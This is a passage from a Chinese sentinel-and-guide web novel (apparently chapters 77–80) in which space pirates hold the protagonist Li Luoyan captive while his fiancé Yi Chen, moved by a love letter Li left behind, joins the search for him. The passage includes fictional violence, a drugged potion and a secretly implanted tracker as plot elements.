然而对于有些人来说,这是采用和平方式解决问题的号角,对于另一些人来说,就是血腥与兴奋的开端。 道德感高的人变得束手束脚,道德感低下的善战人士反而如鱼得水了起来,丝毫不在意武器之下会有多少不瞑目的亡魂。 …… “砰!”子弹擦着脸颊飞过去,带着呼啸的风声。 “把宝箱交出来!”有人大吼一声。 奚元方才正在看宝箱里有什么,没能及时做出反应,只堪堪躲过子弹,脸颊留下一抹血痕,温热的血液沁出。 他脸部肌肉牵动嘴角,无所谓地笑了一下,把宝箱啪嗒一声合上,手背抹了下脸颊,垂眸看着手背上的血迹,舌尖抵着牙。 挑了下眉,气质不羁,语气带着笑,不紧不慢道:“你们是在和我抢东西?” 一只体型矫健的花豹骤然出现在他身后,肌肉十分突出,兽体布着金线斑纹,爪子不紧不慢摩擦着地面,蓄势待发的模样。 精神体和主人一样带着一种散漫的攻击性,却丝毫不敢让人小瞧半分。 对面的那伙人有些瑟缩,但还是没有退缩:宝箱里装的是营养液,能够极大补充能量。联赛进行到现在,人已经越来越少了,无法将人弹出联赛的腕表令人草木皆兵,他们不知道直播还有没有在继续,也不知道联邦何时派人来接他们。 因此充足的食物在危机重重的污染区深处十分重要。 奚元挑眉,他被这么一群人围攻,不仅没有害怕,反而还感到了兴奋,哨兵潜藏在骨子里的善战性被诱了出来。 不过他也知道淘汰者不能被及时弹出联赛,攻击时稍微有所留手,但却被那群人抓住了机会,反扑过来。 奚元被激得眯了眯眼,手臂上被划出一条深可见骨的划痕,他却想感受不到疼痛一样,手臂用力攥住了那人的脖颈,五指收拢,手臂因用力而鲜血汩汩涌出。 手上越疼,脸色就越发冷,他掐着那人往树干上撞,硬是把人砸晕了。 正巧尹惟这时候来了,和奚元对视了一眼,便极有默契地帮着他一起对付穷追不舍的这群人。 等到总算把这群人解决了,奚元这才捂了一下自己被砍伤的手臂,呲牙咧嘴的:“疼死我了。” 尹惟垂下眼,眼睫微微挡住眸子,没有回复他这句话,沉默地把一个被塞着的药瓶递给了她。 “怎么了?一副完蛋了的表情。”奚元自己给自己上药,语气轻松随意,“我没啥事,你别这副表情。” 他看着脚边上那个宝箱,眉眼的笑意染上实感:“看我开了一箱营养液出来,厉害吧。你饿了没,拿一管补充补充能量……也不知道梨子饿了没,你碰见他了吗?他看见这么大一箱营养液应该会……” 尹惟打断他,抬眸看着他说:“梨子不见了。” 奚元脸上的笑意骤然停滞。 * 这又是星盗搞出来的事。 这几天除了死亡之外,其他失踪的联赛成员也是被星盗抓走了。 黎珞言目睹了星盗抓人的一幕,追上去了。 这些都是录像笔上表述的信息以及一些合理推测的结论。 录像笔是黎珞言消失之前留在宝箱里的。 易谌暂时离开去找附近有没有水源和食物,回来的时候就发现这里已经没有人影了,只剩下地上使用过的子弹,未散的硝烟味,以及仿佛是被拖拽出来的长痕血迹。 他强忍着心头一瞬升起的焦躁情绪,在周围找了个遍,最后在宝箱里找到了一只录像笔,还有一张空白地图——是上一阶段赛第一名的奖励。 他看完之后,面色看上去十分冷静,睫毛却不自觉地颤抖。他看见尹惟之后,又和她一起重看了一遍。 看到星盗残忍地将那些联赛成员带上飞船,黎珞言脸色冷肃地跟了上去……尹惟按了按额角,青筋不自控地跳:“他怎么这么冲动?” 对方是星盗,组织很大,况且她也知道黎珞言和邬格的事,星盗那群惨无人道的人一旦抓到梨子,定然不会轻易放过他的。 即便是看着录像笔,也能完全看出当时现场的惨烈,黎珞言情急之下会跟上去也能理解,但是…… “我去找他。”易谌嗓音低沉冷淡。 尹惟反问:“你去哪儿找?” 易谌垂下眸,安在掌心的定位芯片此时在皮肉之下微微闪着蓝色荧光。这是精准定位,是在深度疏导后,趁黎珞言闭着眼熟睡时,他深思熟虑后安装的。 他一直以来怕自己产生病态的依赖感,因此一直没有动用过这个定位器,只是将其当作一种心理安慰。没想到这时候能发挥作用…… 易谌平静说:“我有我的办法。” 尹惟停顿几秒,坚定道:“那我和你一起去找。” “不用,联赛已经很混乱了,我想,应该需要有人站出来善后,”易谌看着尹惟,淡然的眼神表示他认为尹惟就是那个最合适的人选,“黎珞言之前提过一次,你想要去议会实习,这不是很好的机会吗?” 是这个道理没错。但—— 尹惟拧眉:“我放心不下……” “但是,我也确实需要你们的帮助。”易谌脸上的神情冷得像一块冰,眸色认真,“上次比赛第一名的奖励是地图碎片,你和奚元的那块可以借给我吗?” “当然可以,我去找他。” …… 易谌拿到了全部的地图碎片,拼到一起。他看了一小会儿,拿起刀就要往自己手臂上划,被及时制止了。 他抬眸,不理解地拧眉看向奚元。 “不是,你自残干嘛啊?”奚元扼住他的手腕,啧了一声,“当务之急是找到梨子!” 尹惟和易谌对视一眼,她率先解释道:“这个地图只有浸了温热的鲜血之后才能现出原貌。” 闻言,奚元慢慢松开了手,他停顿了片刻,易谌便重新握紧了刀子,又准备划开自己的手臂,就再一次被打断。 奚元没看他,而是把自己缠着绷带的那条手臂重新暴露在了空气中,血液从深可见骨的那条伤痕流出,又滴滴答答落在地上的地图上,血色浸湿之后开始慢慢显出原貌。 他一边放血,一边说:“我来吧,我正好受伤了,血不用白不用了。” 他嘴上说的轻松,脸色和唇色却有点泛白,被一头火红色的头发一衬,更显得有些虚弱了。 易谌没说话,一声不吭地还是用刀子划开了自己手臂原先被抓伤的地方,面不改色地和他一起放血,淡声说:“这样更快。” …… 剩下的人在尹祁青的帮助下聚集到了一起。 尹祁青看了尹惟一眼,表示剩下的就交给她了。 然而没一会儿又喧嚣起来,没有几个人会被尹惟这个一年级新生镇住,尹惟讲话根本没几个人听。 尹惟抿了下唇,一声不响给枪上了膛,然后在他们吵得正凶的时候,往天上开了一枪。 “砰”的一声,现场安静了几秒。 “现在可以听我说话了吗?”尹惟说。 但在众人看清这个开枪的人是谁之后,有人不服气地站了出来:“我凭什么听你的啊,你说比赛不继续就不继续了?腕表没有发信息给我们,就说明比赛还在继续,这是一场淘汰……” “砰!” 血花迸开。 那个出头的人脸色苍白地捂住自己被贯穿的肩膀,惊恐地看着她。 他以为这人主张停战应该是个胆小不敢动手的,没想到这么干脆利落地开了枪,如果枪口再偏一点,对准的很有可能就是他的闹到。 尹惟手上的枪口冒着硝烟,她面色依然平静,一字不差地重复一遍:“现在,可以听我说话了吗?” 她说话可能不好使,但枪很好使。赛区宝箱里热武器很少,更何况大多数人都几乎将子弹用完了。 有言道,拳头硬的才是老大。 有着雾霾蓝挑染的高马尾哨兵看着面前安静下来的众人,弯唇微笑了一下,显出几分温和柔润之意,很有礼貌地说:“谢谢大家的配合,我想,现在大家应该可以抽出一点时间听我说话了。” 第 78 章 “你给人当狗当上瘾了?…… 飞船内部, 银白色的舱壁流转着金属光泽,白字红字的通缉令被猖狂地贴在了抬头就能看见的地方,骷髅头的标志随处可见。——这里是星际海盗的地盘。 被押在旁边的人至少有四十个以上, 都是参加联赛的成员, 联赛里不断减少的人数除了死亡了的之外, 其余的看来就是被抓到了这艘飞船里。 那群被抓到飞船上的人年纪都尚轻,脸上是毫不遮掩的不服气和气愤,要不是迫于如此严峻的情境,他们也不会如此顺从地乖乖不动。黑洞洞的枪口对准了他们,让一些年少气盛的愤怒都被勉强压了下去,只等待着一个时机。 闯进飞船里的黎珞言身边也围满了人,各个都举枪指向他, 但他脸色不变, 也握紧了手里的枪对准了那群人的中心人物——邬阳秋。 他枪里剩的子弹已经不多了,接下来的每一发都需要谨慎再谨慎。 邬阳秋被漆黑的枪指着, 却丝毫没有随时会命丧枪下的自觉,反而勾起一抹笑,右眼尾的红色泪痣随着笑的动作微微荡漾:“真没想到你会主动跟上来……你对自己很有自信?” 他挑了下眉,饶有趣味地看着冷着脸的黎珞言。 他身边站着的少年外貌和他有九分相似, 除了那颗泪痣的位置不同之外, 似乎再没有不一样的地方了。 但两人气质大相径庭。 邬阳秋身边的那个少年泪痣长在左眼眼角, 气质阴郁, 像是久不见光的阴暗蘑菇,目光沉沉地盯着黎珞言, 一刻也没有移开过。 然而黎珞言自始至终没有看他一眼,只是看着邬阳秋说:“放了他们。” “你在和我谈条件吗?”邬阳秋笑道,“就凭你这把枪?” “别管我们, 黎队!”有个被抓住的男生不服气地大喊出声,旋即一声枪响,子弹生生贯穿他的手臂,骤然迸发的疼痛感让男生冷汗淋淋,嘴里抑制不住发出了一声惨叫。 黎珞言呼吸放缓了一瞬,那声惨叫就好像在耳膜边上响起一样。黎珞言感觉哨兵的五感增强有时候也是一种负担。 他眼睫轻颤了一下,手指刚要扣动扳机,就被邬阳秋看出意图。 “你大可以开枪试一试,赌一赌——”邬阳秋唇角噙着运筹帷幄的笑,“看看是你先杀了我,还是这群人先死在你的面前。” 黎珞言手指的动作顿住,旋即缓慢地松开,但枪口仍然对准了邬阳秋,手十分稳:“放了他们。你有什么条件?” “你留下来。” 出声的不是邬阳秋,而是另一个人。 邬阳秋挑眉看向身旁的邬格,被打断了话他也无所谓,对于邬格所说不置可否。 邬格一双眼睛直勾勾地盯着黎珞言,不放过他脸上可能出现的任何一丝表情。 黎珞言没有立即回答,他在斟酌着这个条件是否合理。 看到他没有立即同意,邬格的脸色反而缓和了一些,仿佛黎珞言不同意这个条件更能让他舒心。 邬阳秋多看了邬格几眼,唇角笑容更深。双生子的心灵感应让他能够知道邬格在想什么,忍不住感叹一句真有意思。 “别听他的!” 那群被抓起来的人里又冒出一个人的声音。那人看着黎珞言,咬着牙说:“你没必要为了我们牺牲,我们技不如人,无所谓。” 黎珞言本来就是为了救他们才闯进来的,如果只有他自己的话,全身而退也不会有问题,现在之所以会被枪指着和这群黑心肝的星盗谈判,都是因为他们。 啧,又出了捣乱的人。邬阳秋眼里闪过烦躁,抓这些年纪小的就是这点不好,废话一大堆,还偏偏有着蠢得不行的正气。 一名星盗在邬阳秋的示意下开枪,然而在扣动扳机的前一秒,一颗子弹射穿了他的手腕。 “啊啊啊啊啊啊!!”那名星盗手里的枪飞了出去,疼得倒地捂着手腕惨叫起来。 黎珞言此时枪口发烫,氤氲着白烟。他俊挺的眉眼冷淡,平静道:“我没说不答应。” “你放了他们,我留下来。” 听见这话,那群联赛被抓的人又愤愤不平起来,还有想说话的,但被黎珞言的眼神扫过一眼后,一个个最终还是闭上了嘴。 邬格的脸色阴沉下来,意味不明的眼神盯着黎珞言的脸看,让人看不出他在想什么。 邬阳秋嗤笑一声:“随口说说而已,你真觉得你留下来是赏赐了?我布局那么久,凭什么为了你放了他们?” 他闲庭信步一样朝黎珞言走近,直到枪口递上了他的胸口,他才停住脚步,笑吟吟地看着他说:“你很重要吗?” 黎珞言却点点头,语气不受影响:“我很重要。不然你们以前为什么会让他来监视我?” 他没有明说这个“他”是谁,但在场该知道的人都很清楚。 邬格一动不动,眸里氤氲的阴云愈发沉了。他连他的名字都不愿意念出来吗? 邬阳秋轻笑一声,无视了抵在自己致命位置的枪,手不紧不慢地摸到黎珞言的右耳耳垂,指腹轻轻摩挲着那枚银色耳钉:“好吧,我被你说服了。” 嘴上轻声细语地说着,手却突然抓紧了那枚耳钉,使劲往外一扯。 那枚耳钉无法被正常取下,几乎和肉长在了一起。被粗暴的动作一拽,鲜血瞬间涌出。 黎珞言瞳孔骤缩,却控制着没有开枪,手指却不自觉地握紧了枪柄,指尖用力得泛白。 被压制的联赛成员们看到这一幕,瞬间躁动起来,一声又一声地愤怒声音,还有人挣脱了往黎珞言的方向跑。 邬阳秋不耐地皱眉,把那枚耳钉扯下来了之后,扭头准备让其他星盗开枪攻击,却突然被另一只手拽住了。 他看向黎珞言,黎珞言脸色苍白,唇齿在轻微地颤动,眼睛却是一种没什么温度的冷意:“你答应我的,不开枪。” 仔细听的话,他的声音都在极轻微地颤抖。 邬阳秋呼吸急促了几分,他愉悦地眯了眯眼,一时间也不在乎自己有没有答应过他这个了,被那双绿色眼睛用这种眼神看着,便想着满足他一个小愿望也行。 邬阳秋摆了摆手,示意他们不开枪。 黎珞言耳垂血肉模糊,他眼睫有些濡湿,却咬紧了牙,没有发出一声痛呼,胸腔不断起伏着。 但即便如此,他手上的枪还是抵着邬阳秋。 邬阳秋能感受到从他的手传到枪上的小幅度震动,看着黎珞言还在流血的右耳,他把耳钉随手扔出了飞船外,笑道:“现在定位装置扔了,我们确实可以好好谈谈了。” “他们,我可以放走,”邬阳秋看了眼那群再度被制住、脸上写满戾气、仿佛他再做什么就会立马冲上来的年轻哨兵向导,他完全不把这些人放进眼里,而是再度看向黎珞言,“但你的诚意呢?” 他抓住枪口,虚握着没有用力。 黎珞言却没有立即松开枪,强撑着平静的语气:“你们的信用在我这里没有保障,你先放了他们。” 邬阳秋耸了耸肩:“当然可以。” * 黎珞言手腕上套上了一个环形装置,让他无法把精神体召唤出来。 他环顾了下四周,他现在应该是在牢房里吧。前面是栅栏状的泛着荧光蓝的高压电流,间隙窄得只有四指宽,让想要越狱的囚徒掂量一下自己的实力。 黎珞言坐在墙边上,抱着膝盖,脸埋在手臂里睡着了,他很累了,累到一闭眼就能睡着的程度。耳朵的伤口没有得到及时处理,此时看起来极其可怖。 突然间栅栏消失了,黎珞言无知无觉地靠墙睡着。 邬格一声不吭地蹲在了他面前,把治疗的药水倒在黎珞言的耳朵上,骤然被重重扼住了手腕。 他侧头,和黎珞言对视着。 黑发绿眸的哨兵看了他几秒,语气无波无澜:“滚开。” 他眼里厌恶的情绪根本就没有要隐藏的意思。 邬格沉沉盯着他,嗓音像是淬着毒似的,一个字一个字地说:“不装不认识我了?” 他想继续给黎珞言上药,但黎珞言扼住他的手腕,力度几乎要把他的腕骨捏碎,眼睛看着他,明显就是想让他离自己越远越好。 邬格见他死活不配合,便把药水塞到黎珞言手里,然而黎珞言压根就没有收拢过手指,瓶子从他手里滑下,掉落了下去。 “砰”的一声,装着药水的玻璃瓶摔碎了,碎片溅起,药水也倒了一地,把地面浸湿了。 邬格垂眸看着地上的狼藉,表情平静阴沉。 黎珞言毫不在意,又把脸埋进了手臂当中,心态很好地准备继续睡觉。 邬格伸手触上他的耳朵,这一次仍旧被狠狠攥住了手腕,他却不在乎手腕的痛感,两指合拢使劲地按捏着原先耳钉的位置,那处本来就血肉模糊的地方被他按得生疼,他看着黎珞言脸色泛白,同时间自己的腕骨也近乎被捏碎。 原先因这见效极快的药水而稍微有些好转的耳朵在他粗暴的动作之下,伤势比之前还要严重了。 咔擦。 骨头碎裂的声音。 邬格和黎珞言都停住了动作。 邬格右手腕骨被他生生捏碎,眼里却浸上幸福的笑意,情人般呢喃的语气:“明天我会再来,你会想我的,对吗?” 他走了之后,黎珞言垂下眸,额间一直冒着冷汗,汗水大颗大颗地滑过俊挺的五官,脖颈靠近右耳的位置,干涸的血迹和汗水粘腻在一起。 ……好疼。 他齿间使劲咬着自己的指骨,留下的牙印深可见血,仿佛这样就能转移耳朵的疼痛。 * “哥,什么时候让他住到正常的房间里?”邬格门也没敲就走进了邬阳秋办公的房间。 邬阳秋往后仰了仰,挑眉看着他:“阶下囚住的环境更差,我已经对他优待了。” 再说了,就算要让他住进正常的房间,也不可能是现在。不然把他们当什么了?不计前嫌、热脸贴冷屁股的狗吗? “那里根本就不适合养伤,你既然这么冷血无情,又为什么要扯掉他的耳钉?”邬格的眼神怨毒,目不转睛地盯着他。 莫名其妙被骂了冷血无情的邬阳秋:? “你是不是有病?我不是说过了吗,他那枚耳钉里有定位器。” “但你弄得他很疼。”邬格道。 邬阳秋舌头抵住上颚,强忍着才没给他翻个白眼:“你不是去给他送药了吗?” 邬格停顿片刻,道:“摔碎了。他不用我给的。” 摔碎了? “那个药水有多珍贵还需要我提醒你?”邬阳秋眯着眼,烦躁地看向面前的人,“明明他戴的那个手环可以开启电击效果,我不是给你控制器了吗?你把人电晕之后再上药不行?” 邬格这时候表情变得极为认真:“他会疼的。” “我操,邬格你给人当狗当上瘾了?” 过了好一会儿,邬阳秋啧了一声,站起身:“我去看看他。” 邬格跟着迈开步,想跟着去。 邬阳秋扭头看他:“你又去干什么?” 邬格淡然地说:“我想他了。” 邬阳秋不耐烦地提醒道:“这才不到一小时。” “嗯。”邬格眼神变得温柔了些,“我一秒没有看见他就开始想念他了,而且——” “我怕你对他图谋不轨。” “托你的福,他现在看见我就很反感,”邬阳秋至今仍然觉得自己无妄之灾,他不紧不慢地重新拿了瓶药水,一边虔诚许愿,“下次遇到异兽我希望你能毁容。” 如果可以的话,他还是想要自己一个人拥有这张脸。 邬格显然只听得进去前半句,眼睛微微睁大,语气又添上几分幸福:“他这么在意我……” 邬阳秋从善如流改了愿望:“上天保佑,下次还是让异兽一口吞了你吧。” 第 79 章 情书。 邬阳秋看见黎珞言的时候, 才发觉他的伤势比自己想象中的要严重。 他回头看了一眼邬格,能猜到肯定是他又对这人做了些什么。 邬格亦步亦趋地跟在他身后,从能看见黎珞言的那一刻起, 他的视线就没有离开过对方。 邬阳秋觉得黎珞言在这种情况也能睡着真的是很厉害了。 他用眼神示意邬格别跟上来了, 自己把高压电的栅栏关闭之后走了进去。 “你耳朵不需要治疗了?”他蹲下身, 朝黎珞言说。 埋着头的人好一会儿才把头抬起来,刚被吵醒的模样,头发有些微的汗湿,眉眼也被洇湿了一块,却显得他五官愈发优越突出了。 “和你没关系。”黎珞言说。 邬阳秋看着他:“……你怎么这么犟。” “和你没关系。” 黎珞言又重复了一遍,他往墙角蹭了蹭,把脸埋进了自己臂弯里, 传出来的声音闷闷的。 邬格站在拐角处, 他脚踩着的那块地没有被光线照到,中间一道光与暗的明显分界线, 将他隔绝在了暗的那边,眼神晦暗不明,眸光闪烁地盯着地上哨兵的脸。 “和我没关系吗?” 邬阳秋笑出一声,不紧不慢地转着手里的瓶子, 在指尖绕了一圈后, 他一把抓住, 将其放在了黎珞言面前。指骨敲了敲黎珞言手上的手环:“这个会抑制你身体自动修复的能力, 如果你继续这么固执,你的耳朵会发炎, 说不定还会损伤听力,又或者造成别的、更严重的后果……” 黎珞言一动不动,就像没听见一样, 完完全全把他当成了透明人。 邬阳秋继续道:“你不是还有个未婚夫吗?你自己觉得无所谓,那对方会喜欢一个……唔,残缺的哨兵。” 看到黎珞言终于动了一下,邬阳秋意料之中地勾了下唇:“我走了。” 直到脚步声完全消失,黎珞言才抬起了头,他白皙的眼皮耷拉着,盖住了大半瞳孔,安静注视着那个小瓶子。 不知道过了多久,他才伸手把那个瓶子攥在了掌心,沉默地把药水覆上了耳垂上的伤处。 拐角处突然有人影闪了闪,旋即消失了。 …… “你看着他用了药水了?”邬阳秋看着又出现在自己面前的邬格,抬眸道。 “他用了。”邬格有些出神。 邬阳秋眯了眯眼。他在药水里加了大量催情的成分,黎珞言不是要犟吗。他倒是要看看他能犟到什么时候? 他低下头继续处理公务,邬格却始终站在他面前,就像是脚下生根被钉住了一样。 邬格心里想了一大堆乱七八糟的东西,迫使着邬阳秋也不得不接收他的情绪,过一会儿,邬阳秋实在忍不了了,不耐烦地抬头:“你怎么还不走?” “……他变了好多。”邬格垂下眸说。 这是要开始诉说他的少男心事了。邬阳秋舒出一口气,按了按额角,准备左耳朵进右耳朵出。 邬格语气阴森森的:“凭什么一句未婚夫就能说服他,也不知道是从哪里冒出来的……贱人。” 他想到联邦那个匹配库,齿间摩擦着,压抑着情绪说:“明明我和他的匹配度也不会低,如果……” “如果你不暴露的话,说不定还能和他匹配上呢,”邬阳秋勾起一个愉悦的笑,慢悠悠地说,“你要是不那么沉不住气的话,潜藏任务也不会失败。啧,全都是你的问题啊。” “是他对我太狠心。”邬格的语气又平静下来,他想起黎珞言眼神厌恶地拿枪对准他的时候,手握得十分稳,毫不犹豫地朝他开了枪。 突然脑子里的这个画面又被另一个画面所取代,是黎珞言被众多黑洞洞的枪口对着,嘴里说的话却是让他们放了联赛里的那群人。 怎么能这么差别对待?他什么时候也会对这些人有感情了? 他的印象中,黎珞言对待陌生人一直是不假辞色,冷漠无情,到底是什么让他变了?竟然变得…… 有温度了。 邬格沉默地想了很久,自顾自得出结论,眼神阴鸷:“都是那个向导的错。” 话语在他的唇间轻转,始终没有吐出来。空气变得寂静又怪异,最后邬格冷声道:“他太会勾引人了。” 邬阳秋挑了下眉,对他口中的“他”不置可否。 * 尹惟打听到易谌的宿舍位置,敲响了门。 过了会儿,门被打开,房间内一片昏暗,似乎是没有开灯。易谌看着她。 尹惟说:“你还好吗……?” 易谌几乎和她同时开口:“我会再去找。” 他脸色看起来很糟糕,眼下青黑,阴郁冷峻的眉眼显出几分憔悴。 那天在联赛里,易谌是按照定位对照着地图去找黎珞言的,然而半途中被一支军队拦了下来。 为首的女人头发散落及肩,黑发绿眸,笑眯眯地带领着身后英姿飒爽的成员挡住了他的路。——易谌后来才知道这是第一军团的团长。 易谌攥紧了地图,冷漠地看着他们。 “我接收到的任务是将联赛参赛者全部带回去,所以你也别乱跑啊。”团长双手环抱,简直像是把这个带所有人回去的任务看作一个放松心情的消遣。 易谌冷静道:“那被星盗抓走的参赛者呢?” 团长挑了下眉:“那是我们的事了,我们会负责找到他们,不需要一个还没从白塔毕业的小孩来操心呐。” 易谌和他们僵持在了这里。 每个人的精神体也出现在了身后,看起来战斗一触即发。 团长啧了一声,单手稍微挥了挥,示意身后的人动手,打晕了再带回去也是完成任务。 然而就当他们要开始混战的时候,远处突然传来一阵喧嚣。他们扭头看去,竟然是之前消失了的几十名参赛者,形容狼狈。 易谌动作比思考来得更快一步,几乎是一看见那群人就冲了进去。 没有。没有。 ……还是没有。 易谌攥紧了拳头,指尖都要将掌心掐出血痕,神情可怖。为什么黎珞言不在里面?为什么只有黎珞言没有回来……? 团长语气轻松:“这下人都回来了,可以和我们回去了吧。” 易谌没有说话,眼球布着红血丝。他感受着定位芯片越来越远的距离,感受着黎珞言以一种极其迅速的速度离他越来越远。……来不及了。 其他人的声音变得越来越小,传到他耳朵里的时候只剩一阵刺耳的轰鸣。他好像听见了周围嘈杂的声音,却又什么也听不清。 “还有一个人没到。” “对……对!还有人呢!现在还在星盗飞船上。” “快去救他,拜托了。” “还有?谁啊?”团长询问。 “黎珞言!是黎珞言。” “他为了救我们才被抓住的!” “那群星盗一个比一个坏,快去救他吧。” 七嘴八舌地一通说。 在听见这个名字时,团长脸上淡然的表情在一瞬间僵住了、碎裂开。 她骤然收起了唇角随性散漫的笑,表情严肃起来,眉眼瞬间显出几分威严,郑重地重复了一遍:“黎珞言被抓住了?” …… 她承诺会迅速找到黎珞言,强行将还在赛区的所有人带离了污染区。易谌脾气又犟又差,坚持要去找到星盗的飞船。 团长最后沉默了半晌,看着他的脸,想起来了他的身份:“你是他的未婚夫对吧,看来你们相处得真的很好。搜寻阶段可以带上你。” 易谌巧合间意外听见了一点消息:“但这不是保密级任务吗?”真的能带上他吗? 他黑沉沉的眸里总算映入了一点微光。虽然不知道她为什么会这样承诺他,但他也情不自禁地心里涌起一点希望。 “我以第一军团团长的身份保证。”团长语气郑重。 …… 易谌回到宿舍里,却发现处处都是黎珞言留下的痕迹。 明明他以前一直都是一个人生活的,这时候倒完全适应不了了。 桌上堆着的各式各样的零食,摆在冰箱里的酒水,摆得整整齐齐的两双拖鞋,成双成对的洗漱用品…… 他只随意扫了一眼,就找到许许多多黎珞言生活的痕迹。黎珞言就这样进入了他的生活里,无知无觉地改变着他的生活习惯。 但这些都太润物细无声了,直到黎珞言不在他的身边了,只有易谌独自一人待在房间里的时候,他才恍然惊觉以前房间里实在太过空旷,现在才多出了应有的生活气息。 易谌看着充满着生活气息的房间,本该感觉温馨又幸福,然而心里却空落落的,心脏好像破开了一个大洞,凉风往这个口子里呼呼地灌,灌得他心脏疼,到处都疼。 他沉默地打开了冰箱,取出了一瓶酒,猛灌下了一口,辛辣的酒顺着喉咙往下流,辣得他眼里都有点闪烁的碎芒了。 易谌垂眸看着瓶里碧绿的酒水,莫名又想起了那双漂亮的绿色眼睛。看了半晌,他突然笑了一声,自言自语:“我现在怎么做什么都能想到你啊——” 酒瓶子散落了一地。 借着酒劲,他总算有点困意了。窗帘被拉得紧紧的,屋里也没开灯,显得极其暗,待在这样的幻境里十分容易滋生阴暗的情绪。 他躺在床上属于自己那一边的位置,衣柜里属于黎珞言的衣服被他铺在了床上,似乎这样就能伪装成黎珞言还躺在他身边的模样。 他紧紧抱着黎珞言的枕头,嗅闻着对方的味道,突然听见啪嗒一声东西掉在地上的声音。 灯被打开,易谌撑着床去看,发现是一个卡套。 那次他们一起去黑市,黎珞言就是拿着这个卡套伪装成正式证明,冷肃地说出那句“暂代执法队执法”。但其实里面装着的只是小孩会玩的卡牌。 想到这些,易谌忍不住扬起了唇角。他把卡套捡了起来,就在这时,忽地又想起了他当时想仔细看,卡套却被黎珞言骤然背在身后的记忆。 里面还装了别的东西吗?为什么不让他看? ……又是与其他人有关的物件吗? 易谌眸色幽深,心脏还在泛疼,灌了过多的酒精下肚,他控制不住地胡思乱想。 但手上的动作却很稳,他一点点地把卡套拆开。和玩具卡牌一同掉出来的是一张折叠好的信纸。 易谌怔了一下,小心仔细地将信纸铺平,在看见标题的字时,瞳孔颤动了一下。 很大气飘逸的字体,一行字写得龙飞凤舞。 【情书。——给易谌的】 名字后面画了一个被箭射穿的粉色爱心,爱心还长出了狮子耳朵和狮子尾巴。 第 80 章 “你想死吗?” 易谌看着那张有着整齐折痕的信纸, 眼睛微微睁大,情书两个字让他被酒精蒙晕的大脑有少许的宕机。 给他的……情书? 黎珞言的字是黎永手把手教出来的,落笔时笔锋锐利, 字形俊逸, 有种行云流水的美感, 单是漂亮的字迹就能吸引着人看下去。 不知道为什么,易谌掌心沁出了点汗,他使劲晃了晃脑袋,让自己清醒一点,又起身把窗户打开了,冷风从窗外灌进来,吹得他头发都乱了。 他却没有躲着冷风, 而是干脆倚在了窗边的墙上, 任由呼啸的风吹走自己的酒气,把手在衣服上仔细擦了擦, 才用干净的手重新又按住了信纸的两边。 【喜欢你,好喜欢你。】这是开头第一句,十分符合黎珞言直白的风格。 易谌唇角抖了抖,还是没忍住骤然扬起的弧度, 他耳根泛上一抹红, 看着字迹的眼神变得温柔又怀念。 他几乎能想象到黎珞言说这话时的语气, 清亮的少年音会变得有些黏糊, 会搂着他,把下巴搁在他的肩上, 脸蹭着脸,然后弯着眼睛说:“喜欢你,好喜欢你。” 【现在是下午三点三十二分, 窗外阳光明媚,我突然发现家里多出了好多薯片饼干,是你买给我的吗?但是你一直不在家,我有点想你。】 【你最近好像很忙,是有很要紧的事吗?虽然你大概是在忙正事,但我还是想说,我好想你。】 【想和你天天待在一起。】 【这样可以让你多喜欢我一点吗?】 易谌唇角扬着笑,眼睛却弯不起来,凉风一遍又一遍灌着他的昏沉的大脑,睫毛上的濡湿刚积了一点,下一秒又被风拂去了。他轻声地、一字一句地说:“已经非常、非常、非常喜欢你了。” 他往下面一点一点看,一个字一个字地仔细研读,就像是在研究一本晦涩难懂的古籍一样,眉眼认真专注。 黎珞言写了满满的一整页。易谌逐字看到最后一行,指腹轻轻摩梭着散发着墨香的字迹,感受着信纸有些粗糙的质感。 【啊,写不下了。这是我在楼下画画的时候,正巧碰见有人在写汇报,那个好人见我一直盯着他,就给了我两张,本来可以写两张的,但是另一张写的时候涂改了好几处,看起来脏脏的,所以重新写了一份,这一张的效果看起来还不错。>u<】 【对了对了,易谌你不要忘记多喜欢我一点喔】 易谌看着那个画出来的笑脸,不由失笑,声音被风吹得散开,很轻:“怎么还卖萌?” 但他这次却缓慢地弯起了眼睛,向来漆黑的眸里闪着亮光。 黎珞言的最后一行字写在了信纸下方的空白处,挤得有点歪歪扭扭的,一下子变得比周围的字要小上不少,看起来莫名有点娇憨的可爱。 全篇没有一个错别字,书面看起来极其舒服,是可以放在相册里裱起来的程度。就像他说的,第一遍写的一大半之后,发现不太好看,看着上面的墨团,沉思着咬着笔头,认真想了想,于是又重新写了一遍。 “没关系,这一次也会找到你的。” 易谌眼睛轻眨了下,意识到有水从眸里滑过时,慌张地伸出手,及时接住了差点掉到信纸上的眼泪。 半晌,他抬头看向天花板,除了掌心啪嗒摔碎的那颗眼泪外,再看不出一点脆弱的痕迹。 他嗓音低冷,语气郑重,仿佛是做出了一种承诺。 …… “报告长官,已经找到定位器的位置了,”穿着军装的人手里捧着用分隔袋装好的一枚银色耳钉,上面还带着渗人的血渍以及黏在耳钉周围的血肉,“但是只找了这枚耳钉。” 第一军团的团长宿虞嗤笑一声,眼里却没有笑意,看着表情冷得像是要结冰的黎永,道:“执政官阁下的管理能力真的令我叹为观止啊,联邦政府都快被星盗入侵成筛子了也没有做出半点应对举措,别人连这么隐蔽的事都能知道了,那请问,您在做什么呢?” 她指的是黎珞言的耳钉里安的有定位装置这件事,这件事只有极少数的人知道,按理说是严格保密的。 黎永的表情也很难看,他额角跳得飞快,后悔自己没有一直将黎珞言锁在家里,也后悔自己让他去参加这个联赛……他到底为什么要一个劲地拔苗助长,明明黎珞言现在这样就很好了…… 他压抑着汹涌的情绪,嗓音沙哑:“你还有空说这些吗?当务之急是找到星盗那艘飞船的下落。” 他们夹枪带棒地对话,看似没有很大的攻击性,但实际上火药味已经快要冲天了。 过了一小会儿,易谌突然打断了他们,平静地说:“我知道他在哪里。” 易谌微微垂眸,忽略了他们投来的怪异的眼神,陈述一个事实般冷静淡然,一字一句清晰道:“他身上有我放的定位器,我能找到他。” 他已经完全不在乎黎永和宿虞会怎样看待他这种变态又阴暗的行为了,他毫无保留地说出这件事,仅仅是为了加快找到黎珞言的速度。 他承诺过的,他会做到。 * 狱牢里,环境不算太差,至少没有遍布的蜘蛛网和脏污的水。 黎珞言抱膝坐在墙角,耳朵的伤口已经完全恢复了,光洁一片,看不出有任何受过伤的情况。 他对于任何人对自己说话都恍若未闻,简直将不配合贯彻到了极点。这群星盗也好像放弃了他,没有虐待他,也没有把他绑起来去做实验,但也没有给过他任何食物。如果不是哨兵的身体和普通人不太一样,估计很快就会憔悴消瘦下去。 除了邬格每日例行似的,天天来对他说一大堆他根本没听的废话。 